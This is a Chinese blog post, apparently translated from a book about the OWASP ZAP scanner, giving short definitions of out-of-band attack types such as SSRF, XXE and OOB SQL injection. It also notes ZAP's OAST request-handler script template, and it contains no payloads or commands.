  • 主机头攻击:操控 HTTP 请求中的主机头,欺骗 Web 服务器运行恶意代码或提供敏感信息,可能允许攻击者控制服务器或暴露敏感信息。

  • 带外远程代码执行(OOB RCE):一种攻击方式,攻击者通过在单独的通信渠道上传递代码并接收结果,在目标系统上运行任意代码,可能泄露敏感信息或使攻击者控制系统。

  • 带外 SQL 注入(OOB SQLI):一种 SQL 注入攻击,攻击者利用单独的通信渠道发送命令并接收结果,在目标数据库上执行任意 SQL 指令,可能暴露敏感信息或允许攻击者控制数据库。

  • 电子邮件头注入:将恶意代码注入电子邮件消息的头部,以操控电子邮件客户端或服务器的行为,可能误导受害者提交敏感信息或下载恶意软件。

  • 服务器端请求伪造(SSRF):一种攻击方式,攻击者通过易受攻击的服务器向网络中的其他服务器、资源或服务发送任意请求,可能泄露敏感信息或让攻击者发起更多攻击。

  • XML 外部实体(XXE)注入:一种利用 XML 解析器漏洞访问文件或在目标系统上执行任意代码的攻击,可能暴露敏感信息或允许攻击者控制机器。

  • 操作系统代码注入 – OOB:一种攻击方式,攻击者通过将命令注入到易受攻击的应用程序中,在目标系统上执行任意系统指令,可能暴露敏感信息或让攻击者控制系统。

  • XXE – OOB:XXE 攻击的一种版本,其中 XXE 攻击的结果通过不同的通信路径带外发送,而非被滥用的路径,可能让攻击者在不被检测到的情况下获取敏感信息或控制系统。

重要提示

如果安装了 Script ConsoleGraalVM JavaScript 插件,ZAP 引入了一个新的扩展脚本模板,名为 OAST Request Handler.js。该模板可以用来开发一个脚本,检测到带外请求时执行某个命令。这个动作可以是任何内容,例如运行另一个 ZAP 脚本或发送电子邮件给自己。

另请参见

还有一些其他在线服务允许我们与带外攻击进行交互,例如:

posted @ 2025-06-23 19:08  绝不原创的飞龙  阅读(2)  评论(0)    收藏  举报